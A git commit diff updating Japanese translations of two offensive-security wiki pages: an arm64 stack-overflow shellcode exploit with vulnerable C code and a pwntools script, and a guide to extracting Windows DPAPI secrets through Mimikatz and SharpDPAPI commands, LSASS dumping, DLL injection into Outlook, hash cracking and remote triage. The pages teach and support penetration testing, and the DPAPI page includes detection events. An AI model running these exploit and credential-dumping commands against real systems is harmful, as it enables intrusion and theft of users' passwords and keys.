Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

This commit is contained in:
Translator 2025-09-05 19:03:15 +00:00
parent 7d1c35c436
commit f2f42d5193
2 changed files with 103 additions and 88 deletions

View File

@ -2,14 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
arm64の紹介を見つけるには: arm64の入門については以下を参照してください:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code ## Linux
### コード
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -24,19 +25,19 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
PIE、カナリア、NXなしでコンパイル: pie、canary、nxなしでコンパイル:
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## No ASLR & No canary - Stack Overflow ### ASLRなし & canaryなし - Stack Overflow
ASLRを停止するには、次を実行します: ASLRを無効にするには、次を実行:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
[**bofのオフセットを取得するには、このリンクをチェックしてください**](../ret2win/ret2win-arm64.md#finding-the-offset)。 bofのoffsetを取得するには、[**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset) を参照してください
エクスプロイト: Exploit:
```python ```python
from pwn import * from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
ここで唯一「複雑な」ことは、呼び出すためのスタック内のアドレスを見つけることです。私の場合、gdbを使用して見つけたアドレスでエクスプロイトを生成しましたが、エクスプロイトを実行したときにうまくいきませんでしたスタックアドレスが少し変わったためです ここで唯一「複雑」なのは呼び出すstack上のアドレスを見つけることです。私の場合、gdbで見つけたアドレスを使ってexploitを生成しましたが、実際にexploitingすると動作しませんでしたstackアドレスが少し変わっていたため
生成された **`core` file** (`gdb ./bog ./core`) を開き、shellcodeの開始位置の実際のアドレスを確認しました。
## macOS
> [!TIP]
> macOSではNXを無効化することはできません。arm64ではこのモードがハードウェアレベルで実装されており無効化できないため、macOSでstack上にshellcodeを置く例は見つからないでしょう。
macOSのret2winの例は次を参照
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
生成された **`core` ファイル** (`gdb ./bog ./core`) を開き、シェルコードの開始位置の実際のアドレスを確認しました。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,33 @@
# DPAPI - Extracting Passwords # DPAPI - パスワードの抽出
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## DPAPI とは ## What is DPAPI
The Data Protection API (DPAPI) は主に Windows オペレーティングシステム内で、**非対称秘密鍵の対称暗号化**に使用され、ユーザーまたはシステムのシークレットをエントロピー源として利用します。この手法により、開発者はユーザーのログオンシークレットから導出した鍵、またはシステム暗号化の場合はシステムのドメイン認証シークレットを使ってデータを暗号化できるため、暗号化鍵自体の保護を開発者が管理する必要がなくなります。 The Data Protection API (DPAPI) は主に Windows オペレーティングシステム内で、**非対称プライベートキーの対称暗号化 (symmetric encryption of asymmetric private keys)** に使用され、ユーザーまたはシステムのシークレットをエントロピーの重要な供給源として利用します。これにより、開発者はユーザーのログオンシークレットから派生したキー、またはシステム暗号化の場合はシステムのドメイン認証シークレットを使用してデータを暗号化できるため、暗号化キーの保護を開発者自身が管理する必要がなくなります。
最も一般的な DPAPI の使用方法は **`CryptProtectData``CryptUnprotectData`** 関数を通じてで、これによりアプリケーションは現在ログオンしているプロセスのセッションでデータを安全に暗号化・復号できます。つまり、暗号化されたデータは同じユーザーまたはシステムでなければ復号できません DPAPI を使用する最も一般的な方法は、**`CryptProtectData` and `CryptUnprotectData`** 関数を通じてで、これらは現在ログオンしているプロセスのセッションでデータを安全に暗号化および復号することを可能にします。つまり、暗号化されたデータはそのデータを暗号化したのと同じユーザーまたはシステムによってのみ復号できます
さらに、これらの関数は暗号化・復号時に使用される **`entropy` パラメータ** も受け取るため、このパラメータを使って暗号化されたものを復号するには、暗号化時に使れたのと同じ entropy 値を提供する必要があります。 さらに、これらの関数は **`entropy` parameter** も受け取り、暗号化と復号の両方で使用されるため、このパラメータを使って暗号化されたものを復号するには、暗号化時に使用されたのと同じ entropy 値を提供する必要があります。
### Users key generation ### Users key generation
DPAPI は各ユーザーに対して資格情報に基づく一意の鍵(**`pre-key`** と呼ばれる)を生成します。この鍵はユーザーのパスワードや他の要素から導出され、アルゴリズムはユーザーの種類によって異なりますが最終的には SHA1 になります。例えば、ドメインユーザーの場合**ユーザーの NTLM ハッシュに依存します** DPAPI は各ユーザーの資格情報に基づいて固有のキー(**`pre-key`** と呼ばれる)を生成します。このキーはユーザーのパスワードや他の要素から派生し、アルゴリズムはユーザーの種類によって異なりますが最終的には SHA1 になります。例えば、ドメインユーザーの場合**ユーザーの NTLM ハッシュに依存します**。
これは特に重要で、攻撃者がユーザーのパスワードハッシュを入手できれば これは特に重要で、攻撃者がユーザーのパスワードハッシュを入手できれば、次のことが可能になります:
- そのユーザーの鍵を使って、API に問い合わせることなく DPAPI で暗号化されたあらゆるデータを復号できる - そのユーザーのキーで DPAPI を使用して暗号化されたあらゆるデータを **API に問い合わせることなく復号できる**
- 有効な DPAPI 鍵を生成するためにパスワードをオフラインでクラッキングしようと試みる - 有効な DPAPI キーを生成しようとしてオフラインで **パスワードをクラッキング** することを試みる
さらに、ユーザーが DPAPI を使ってデータを暗号化するたびに、新しい **master key** が生成されます。この master key が実際にデータを暗号化するために使用されます。各 master key にはそれを識別する **GUID**Globally Unique Identifierが付与されます。 さらに、ユーザーが DPAPI を使ってデータを暗号化するたびに、新しい **マスターキー** が生成されます。このマスターキーが実際にデータを暗号化するために使用されるものです。各マスターキーにはそれを識別する **GUID** (Globally Unique Identifier) が付与されます。
マスターキーは **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** ディレクトリに保存され`{SID}` はそのユーザーの Security Identifier を表します。マスターキーはユーザーの **`pre-key`** によって暗号化されて保存されるとともに、リカバリ用に **domain backup key** でも暗号化されて保存されます(つまり同じ鍵が 2 つの異なる方法で暗号化されて保存されます)。 マスターキーは **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** ディレクトリに保存されます。ここで `{SID}` はそのユーザーの Security Identifier です。マスターキーはユーザーの **`pre-key`** によって暗号化されて保存されるとともに、リカバリ用に **ドメインバックアップキー** によっても暗号化されます(つまり同じキーが 2 つの異なるパスで 2 回暗号化されて保存されます)。
注意点として、**マスターキーを暗号化するために使用される domain key はドメインコントローラーにあり変更されない**ため、攻撃者がドメインコントローラーにアクセスできればドメインバックアップキーを取得してドメイン内のすべてのユーザーのマスターキーを復号できます。 マスターキーを暗号化するために使用される **ドメインキーはドメインコントローラに存在し変更されない** ことに注意してください。したがって、攻撃者がドメインコントローラにアクセスできれば、ドメインバックアップキーを取得してドメイン内のすべてのユーザーのマスターキーを復号できます。
暗号化された blob には、そのデータを暗号化するために使用されたマスターキーの **GUID** がヘッダー内に含まれています。 暗号化されたブロブはヘッダ内に、そのデータを暗号化するために使用された **マスターキーの GUID** を含んでいます。
> [!TIP] > [!TIP]
> DPAPI encrypted blobs starts with **`01 00 00 00`** > DPAPI encrypted blobs starts with **`01 00 00 00`**
@ -45,37 +45,37 @@ This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>) ![](<../../images/image (1121).png>)
### マシンシステムキーの生成 ### マシン/システムキーの生成
これはマシンがデータを暗号化するために使うキーです。これは、SYSTEM ユーザのみがアクセスできる特別なキーである **DPAPI_SYSTEM LSA secret** に基づいています。このキーは、マシンレベルの資格情報やシステム全体のシークレットなど、システム自身がアクセスする必要のあるデータを暗号化するために使われます。 これはマシンがデータを暗号化するために使用するキーです。これは**DPAPI_SYSTEM LSA secret**に基づいており、SYSTEM ユーザーのみがアクセスできる特別なキーです。このキーは、マシンレベルの認証情報やシステム全体で使われるシークレットなど、システム自身がアクセスする必要のあるデータを暗号化するために使われます。
なお、これらのキーは **don't have a domain backup** ため、ローカルでのみアクセス可能です: これらのキーは **don't have a domain backup** ため、ローカルでしかアクセスできないことに注意してください:
- **Mimikatz** は LSA シークレットをダンプして `mimikatz lsadump::secrets` コマンドでアクセスできます - **Mimikatz** は LSA シークレットをダンプするコマンドを使用してアクセスできます: `mimikatz lsadump::secrets`
- シークレットはレジストリ内に保存されているため、管理者はアクセスするために DACL の権限を変更することができます。レジストリのパスは: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` - シークレットはレジストリ内に保存されているため、管理者は **DACL の権限を変更してアクセスする** ことができます。レジストリのパスは: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### DPAPI によって保護されるデータ ### DPAPI によって保護されるデータ
DPAPI によって保護される個人データには以下が含まれます: DPAPI によって保護される個人データには次のようなものがあります:
- Windows の資格情報 - Windows creds
- Internet Explorer と Google Chrome のパスワードおよび自動補完データ - Internet Explorer と Google Chrome のパスワードおよび自動入力データ
- Outlook や Windows Mail のようなアプリケーションでのメールや内部 FTP アカウントのパスワード - Outlook や Windows Mail のようなアプリケーションにおけるメールおよび内部 FTP アカウントのパスワード
- 共有フォルダ、リソース、ワイヤレスネットワーク、Windows Vault暗号化キーを含むのパスワード - 共有フォルダ、リソース、無線ネットワーク、Windows Vault のパスワード(暗号化キーを含む)
- リモートデスクトップ接続、.NET Passport、および各種暗号化・認証用のプライベートキーのパスワード - リモートデスクトップ接続、.NET Passport、およびさまざまな暗号化や認証目的のためのプライベートキーのパスワード
- Credential Manager によって管理されるネットワークパスワードや、CryptProtectData を使うアプリSkype、MSN messenger など)内の個人データ - Credential Manager によって管理されるネットワークパスワードや、CryptProtectData を使用するアプリケーションSkype、MSN messenger など)の個人データ
- レジストリ内の暗号化された BLOB - レジストリ内の暗号化されたバイナリ (blob)
- ... - ...
システムで保護されたデータには以下が含まれます: システム保護データには以下が含まれます:
- WiFi パスワード - Wifi パスワード
- スケジュールされたタスクのパスワード - スケジュールされたタスクのパスワード
- ... - ...
### Master key の抽出オプション ### マスターキー抽出オプション
- ユーザーがドメイン管理者権限を持っている場合、ドメイン内の全ユーザーの master key を復号するために **domain backup key** にアクセスできます: - ユーザーがドメイン管理者権限を持っている場合、**domain backup key** にアクセスしてドメイン内のすべてのユーザーマスターキーを復号することができます:
```bash ```bash
# Mimikatz # Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
``` ```
- ローカル管理者権限があれば、**LSASSメモリにアクセス**して、接続中の全ユーザーのDPAPIマスターキーとSYSTEMキーを抽出できます。 - local admin privileges があれば、**LSASS memory にアクセス**して、接続されているすべてのユーザーの DPAPI master keys と SYSTEM key を抽出できます。
```bash ```bash
# Mimikatz # Mimikatz
mimikatz sekurlsa::dpapi mimikatz sekurlsa::dpapi
``` ```
- ユーザーがローカル管理者権限を持っている場合、**DPAPI_SYSTEM LSA secret** にアクセスしてマシンマスターキーを復号できます: - ローカル管理者権限がある場合、ユーザーは**DPAPI_SYSTEM LSA secret**にアクセスしてマシンのマスターキーを復号できます:
```bash ```bash
# Mimikatz # Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export lsadump::secrets /system:DPAPI_SYSTEM /export
``` ```
- ユーザーのpasswordまたはNTLM hashが分かっている場合、ユーザーの**master keysを直接decryptできます**: - ユーザーのパスワードまたは NTLM ハッシュが分かっている場合、**ユーザーのマスターキーを直接復号できます**:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD SharpDPAPI.exe masterkeys /password:PASSWORD
``` ```
- ユーザーとしてセッション内にいる場合、DC**backup key to decrypt the master keys using RPC** を要求できます。あなたが local admin でユーザーがログイン中であれば、これを行うために **steal his session token** することができます: - ユーザーとしてセッション内にいる場合、DCに対して**backup key to decrypt the master keys using RPC**を要求することが可能です。あなたがlocal adminでユーザーがログインしている場合、このために**steal his session token**することができます:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -117,16 +117,16 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz # From mimikatz
mimikatz vault::list mimikatz vault::list
``` ```
## DPAPI暗号化データにアクセス ## DPAPI 暗号化データへアクセス
### DPAPI暗号化データを見つける ### DPAPI 暗号化データを見つける
一般ユーザーの**保護されたファイル**は以下にあります: 一般ユーザーの**保護されたファイル**は次の場所にあります:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` - `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` - `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` - `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- 上記パスでは `\Roaming\``\Local\` に変更して確認してください。 - 上記のパスでは、`\Roaming\``\Local\` に変更することも確認してください。
列挙の例: 列挙の例:
```bash ```bash
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
``` ```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) はファイルシステム、レジストリ、および B64 ブロブ内の DPAPI 暗号化ブロブを検出できます: [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) はファイルシステム、レジストリ、B64 blobs 内の DPAPI 暗号化 blobs を検出できます:
```bash ```bash
# Search blobs in the registry # Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default search /type:registry [/path:HKLM] # Search complete registry by default
@ -154,7 +154,7 @@ Note that [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the s
### アクセスキーとデータ ### アクセスキーとデータ
- **Use SharpDPAPI** を使用して、現在のセッションの DPAPI 暗号化ファイルから資格情報を取得します: - **Use SharpDPAPI** を使って、現在のセッションのDPAPIで暗号化されたファイルから認証情報を取得します:
```bash ```bash
# Decrypt user data # Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates ## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data # Decrypt machine data
SharpDPAPI.exe machinetriage SharpDPAPI.exe machinetriage
``` ```
- **Get credentials info**(暗号化されたデータや guidMasterKey を含む情報)を取得する。 - **credentials info を取得する**: encrypted data や guidMasterKey などの情報を取得する。
```bash ```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -173,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe pbData : b8f619[...snip...]b493fe
[..] [..]
``` ```
- **Access masterkeys**: - **masterkeysにアクセス**:
ユーザーが **domain backup key** を要求している際の masterkey を RPC を使って復号する: RPCを使用して、**domain backup key**を要求したユーザーのmasterkeyを復号する:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe masterkeys /rpc SharpDPAPI.exe masterkeys /rpc
``` ```
**SharpDPAPI** ツールは、masterkey の復号のために次の引数もサポートしています(`/rpc` を使ってドメインのバックアップキーを取得できる点`/password` でプレーンテキストのパスワードを使用できる点あるいは `/pvk` で DPAPI ドメインのプライベートキー ファイルを指定できる点に注意): The **SharpDPAPI** ツールは masterkey の復号に次の引数も対応しています(`/rpc` でドメインのバックアップキーを取得`/password` でプレーンテキストのパスワードを使用、`/pvk` で DPAPI ドメインのプライベートキー ファイルを指定できます...
``` ```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ SharpDPAPI.exe masterkeys /rpc
/server:SERVER - triage a remote server, assuming admin access /server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
``` ```
- **masterkeyを使用してデータを復号する**: - **マスターキーを使用してデータを復号する**:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY> dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -205,7 +205,8 @@ SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
``` ```
The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...): The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...):
The **SharpDPAPI** ツールは `credentials|vaults|rdg|keepass|triage|blob|ps` の復号化に対してこれらの引数もサポートします(`/rpc` を使ってドメインのバックアップキーを取得できること、`/password` を使ってプレーンテキストのパスワードを使用できること、`/pvk` で DPAPI ドメインのプライベートキー ファイルを指定できること、`/unprotect` で現在のユーザーのセッションを利用できることに注意...
The **SharpDPAPI** ツールは、`credentials|vaults|rdg|keepass|triage|blob|ps` の復号に対して以下の引数もサポートします(`/rpc` を使ってドメインのバックアップキーを取得したり、`/password` でプレーンテキストのパスワードを使用したり、`/pvk` で DPAPI ドメインの秘密鍵ファイルを指定したり、`/unprotect` で現在のユーザーのセッションを使用したりできる点に注意):
``` ```
Decryption: Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -224,7 +225,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands Note: not applicable to 'blob' or 'ps' commands
``` ```
- **current user session** を使用してデータを復号する: - **現在のユーザーセッション** を使用してデータを復号する:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -233,11 +234,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
``` ```
--- ---
### オプションの entropy"Third-party entropy")の取り扱い ### オプションの entropy ("Third-party entropy") の扱い
一部のアプリケーションは `CryptProtectData` に追加の **entropy** 値を渡します。この値がなければ、正しい masterkey を知っていても blob を復号できません。したがって、Microsoft Outlook や一部の VPN クライアントのようにこの方法で保護された資格情報を狙う場合は、entropy の取得が不可欠です。 一部のアプリケーションは `CryptProtectData` に追加の **entropy** 値を渡します。この値がなければ、正しい masterkey が判明していても blob を復号できません。したがって、この方法で保護された資格情報(例: Microsoft Outlook、いくつかの VPN クライアントを狙う場合、entropy を取得することが不可欠です。
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) は、ターゲットプロセス内の DPAPI 関数にフックを掛け、提供された任意の entropy を透過的に記録する user-mode DLL です。`outlook.exe``vpnclient.exe` のようなプロセスに対して EntropyCapture を **DLL-injection** モードで実行すると、各 entropy バッファを呼び出しプロセスおよび blob にマッピングしたファイルが出力されます。取得した entropy は後で **SharpDPAPI** (`/entropy:`) や **Mimikatz** (`/entropy:<file>`) に渡してデータを復号するために使用できます。 [**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) は、ターゲットプロセス内の DPAPI 関数をフックし、提供された任意の entropy を透過的に記録する user-mode DLL です。`outlook.exe``vpnclient.exe` のようなプロセスに対して **DLL-injection** モードで EntropyCapture を実行すると、各 entropy バッファを呼び出しプロセス blob にマッピングしたファイルが出力されます。取得した entropy は後で **SharpDPAPI** (`/entropy:`) や **Mimikatz** (`/entropy:<file>`) に渡してデータを復号することができます。
```powershell ```powershell
# Inject EntropyCapture into the current user's Outlook # Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -245,9 +246,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy # Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash> SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
``` ```
### Cracking masterkeys offline (Hashcat & DPAPISnoop) ### オフラインでのマスターキーのクラック (Hashcat & DPAPISnoop)
MicrosoftはWindows 10 v16072016から**context 3**マスターキー形式を導入しました。`hashcat` v6.2.62023年12月はハッシュモード**22100**DPAPI masterkey v1 context、**22101**context 1、**22102**context 3を追加し、マスターキー ファイルから直接ユーザーのパスワードをGPUで高速にクラッキングできるようになりました。したがって、攻撃者はターゲットシステムとやり取りすることなく、ワードリストやブルートフォース攻撃を実行できます。 Microsoftは、Windows 10 v1607 (2016) から **context 3** マスターキー形式を導入しました。`hashcat` v6.2.6 (2023年12月) はハッシュモード **22100** (DPAPI masterkey v1 context)、**22101** (context 1) および **22102** (context 3) を追加し、マスターキー・ファイルからユーザーパスワードを直接GPUでクラックできるようにしました。したがって攻撃者はターゲットシステムに接触することなく、ワードリストやブルートフォース攻撃を行えます。
`DPAPISnoop` (2024) はこのプロセスを自動化します: `DPAPISnoop` (2024) はこのプロセスを自動化します:
```bash ```bash
@ -255,11 +256,11 @@ MicrosoftはWindows 10 v16072016から**context 3**マスターキー形
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4 hashcat -m 22102 bob.hc wordlist.txt -O -w4
``` ```
このツールは Credential と Vault の blobs を解析し、cracked keys で復号して平文パスワードをエクスポートすることもできます。 このツールはCredential and Vault blobsを解析し、cracked keysで復号してcleartext passwordsをエクスポートすることもできます。
### 他のマシンのデータにアクセスする ### 他のマシンのデータにアクセス
In **SharpDPAPI and SharpChrome** では、リモートマシンのデータにアクセスするために **`/server:HOST`** オプションを指定できます。もちろん、そのマシンにアクセスできる必要があり、以下の例では **domain backup encryption key is known** と仮定します: In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the **ドメインのバックアップ暗号化キーが既知である**:
```bash ```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64 SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64 SharpChrome cookies /server:HOST /pvk:BASE64
@ -268,51 +269,51 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB ### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) は、LDAPディレクトリからすべてのユーザとコンピュータを抽出し、RPCを介してドメインコントローラのバックアップキーを抽出する処理を自動化するツールです。スクリプトは抽出したコンピュータのIPアドレスを解決し、すべてのコンピュータに対して smbclient を実行してすべてのユーザのDPAPIブロブを取得し、ドメインバックアップキーで全てを復号します。 [**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) は LDAP ディレクトリからすべてのユーザーとコンピュータを抽出し、RPC 経由でドメインコントローラのバックアップキーを抽出する処理を自動化するツールです。スクリプトは抽出したコンピュータの IP アドレスを解決し、すべてのコンピュータに対して smbclient を実行してすべてのユーザ DPAPI ブロブを取得し、ドメインバックアップキーで全てを復号します。
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
LDAPから抽出したコンピュータリストがあれば、知らなかったサブネットすべてを見つけることができます! LDAP から抽出したコンピュータリストがあれば、知らなかったサブネットも含めてすべて見つけられます!
### DonPAPI 2.x (2024-05) ### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) はDPAPIで保護されたシークレットを自動でダンプできます。2.x リリースでは以下が導入されました: [**DonPAPI**](https://github.com/login-securite/DonPAPI) は DPAPI で保護されたシークレットを自動的にダンプできます。2.x リリースで導入された機能:
* 数百ホストからのブロブ並列収集 * 数百ホストからのブロブ並列収集
* **context 3** マスターキーの解析とHashcat自動クラッキング統合 * **context 3** マスターキーの解析と Hashcat による自動クラック連携
* Chrome の "App-Bound" 暗号化クッキーのサポート(次節参照) * Chrome の "App-Bound" 暗号化クッキーのサポート(次節参照)
* エンドポイントを繰り返しポーリングして新規作成されたブロブを差分取得する新しい **`--snapshot`** モード * エンドポイントを繰り返しポーリングして新規作成されたブロブを差分検出する新しい **`--snapshot`** モード
### DPAPISnoop ### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) はマスターキー/クレデンシャル/ボールトファイルのC#パーサーで、Hashcat/JtR形式を出力し、オプションで自動的にクラッキングを呼び出せます。Windows 11 24H1 までのマシンおよびユーザマスターキーフォーマットを完全にサポートしています。 [**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) は masterkey/credential/vault ファイル用の C# パーサーで、Hashcat/JtR フォーマットを出力でき、オプションで自動的にクラックを実行できます。Windows 11 24H1 までの machine と user のマスターキー形式を完全にサポートします。
## 一般的な検 ## 一般的な検
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*``C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` およびその他のDPAPI関連ディレクトリへのアクセス。 - `C:\Users\*\AppData\Roaming\Microsoft\Protect\*``C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` やその他の DPAPI 関連ディレクトリへのファイルアクセス。
- 特に **C$****ADMIN$** のようなネットワーク共有からのアクセス - 特に **C$****ADMIN$** のようなネットワーク共有から。
- LSASSメモリにアクセスしたりマスターキーをダンプするための **Mimikatz**、**SharpDPAPI** などのツールの使用。 - LSASS メモリにアクセスしたりマスターキーをダンプするための **Mimikatz**、**SharpDPAPI** のツールの使用。
- イベント **4662**: *An operation was performed on an object* **`BCKUPKEY`** オブジェクトへのアクセスと相関させて検出可能 - イベント **4662**: *オブジェクトに対して操作が行われました* **`BCKUPKEY`** オブジェクトへのアクセスと相関する可能性があります
- プロセスが *SeTrustedCredManAccessPrivilege* (Credential Manager) を要求したときのイベント **4673/4674** - イベント **4673/4674**: プロセスが *SeTrustedCredManAccessPrivilege*Credential Managerを要求したとき
--- ---
### 20232025 の脆弱性とエコシステムの変化 ### 20232025 の脆弱性とエコシステムの変化
